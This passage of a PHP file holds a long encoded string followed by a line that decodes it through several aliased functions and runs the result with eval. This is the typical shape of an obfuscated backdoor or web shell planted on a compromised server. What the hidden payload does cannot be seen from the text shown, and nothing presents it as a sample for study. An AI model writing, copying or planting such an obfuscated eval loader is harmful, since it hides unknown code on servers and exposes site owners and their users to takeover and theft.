QL285OFJtb3NJTmdDYng1SEVkc1RmWTVRYjIwai90WW51RkxhZDBPWDV6V1padnkzOE4rR0V2L1VZN255YUk2MFdqVVFmZVg1bUsrZGtxWHhCZEFIK2lVeEMxY1ZQcnhiSnFTcEQ4RXprc29PeVVGMXFkRkFMMnVQSmExaHRoY0FsK3NiSEMvTjNrR2xTckt3WFVjWk01QXZtdTFFR2ZGSnVqY1JiV2ZHYVBVUGx6VWx5N1krV0JpSmtCSW8wNktmcms4ajBYWEtNQ3ZGQ0dwcjVIcDA5SjZWallDR2dLdm1Jck5kMGFWRFVJTXRmc0dwbnVOeG54RHFhTzN1VHJRdW5jVW5CbEpRRUlBdWhPbWRqcUw5dTNzTjlwNHA1NkpBdHRXbjRqNk93M24wYnhobVk0bnVXUWZWTktpTzFGVXNiUGpMVFVIYjBJYU5DbVNBSGxDWmlQM0dxSlJLUkJlZFI4ZGVpRFFaQ05kVjdPWERNUTYwVzRxbWkzRzRDckpmYTZUMm5ZOXhyRnJ2YlFINzdhbnFMTVdPb2NsZ2dIb0U1WWVCR2krTGFXV0hWWXZGRUFKYVFUV2kzdmllZ3AzQTM3NmdrNkY2SUFWMXhucHBmUStLRUoyOWJCYTJFa1h2cGs5MjNpRG5VUVg2MWsvVXhyUUdKamM4V3M5blp0N1Z1b05RRGRFZ0M2aklGd1A2S0dabXVzNDJDNFpzL2lkOFR6RmFSSk85MmE3Q0hVblNFS2tOMGFLcXk3b1pUd05ITDR6eFJ2Q0h3eVNkSHNqZVYrVDlPbUVwZ2pNemxiMlBlTzZnVUdDQmRSbUFhUW5pUDAwTmJpM2NLbGN3WDRGTzQ2blEzQXBFSHhoQzFGT252N0RuQUV0c3JGQ2d4cGRhLzlCSGU2QVFUdFZTa1M3bis5WVlML1JQQ2JBRDAwaEFuNWpQbmUwaCtPR3J2emwydWx3T2lhZTdsMFdHQkE3RzhjSy8zT3B1Vzg2QUozZGY5Z3hubjBEUEZYMVI1UVJEUHhYeSt3UFh3SXhDZ3B5US9PbTZpQ09yUEVuQjc0VytXelRTdzZlMUgwRUtoeW43SW5TamlaQUFqeU5kZ0x1d3dLem95RHNLTkQyUHFnYUZJd050bWl6Sk8wN1VnbnN2WnQ1b0xGLzB2Y0VnSVhaemZIY0pMS0JVdHJ3OFlobm5BclhkcTd2UGVQL2FTQjFmTGdjaDRKSnlxbEQwTS9DWkNoMTRoRDUrcm44OVdoaDZmNzFMLzcyZldGbU1PZHA3TEd3eXYvOVVPNVF4aW5yUC83NXZ6L2svdmEzM0lsNEZUdXp6K2MrNWFnTVB2VkdxaDRZTWJ4QkxRcXR6ZW5kdkFJamRscEtPallTbS9MZnpyVGxqUmNmTjl0TWhlRWp1aEE4NGthWGlzTDcvc2UzL3dNPQ==');eval($wz0($jn1($nj2($gw3(($vt4))))));?>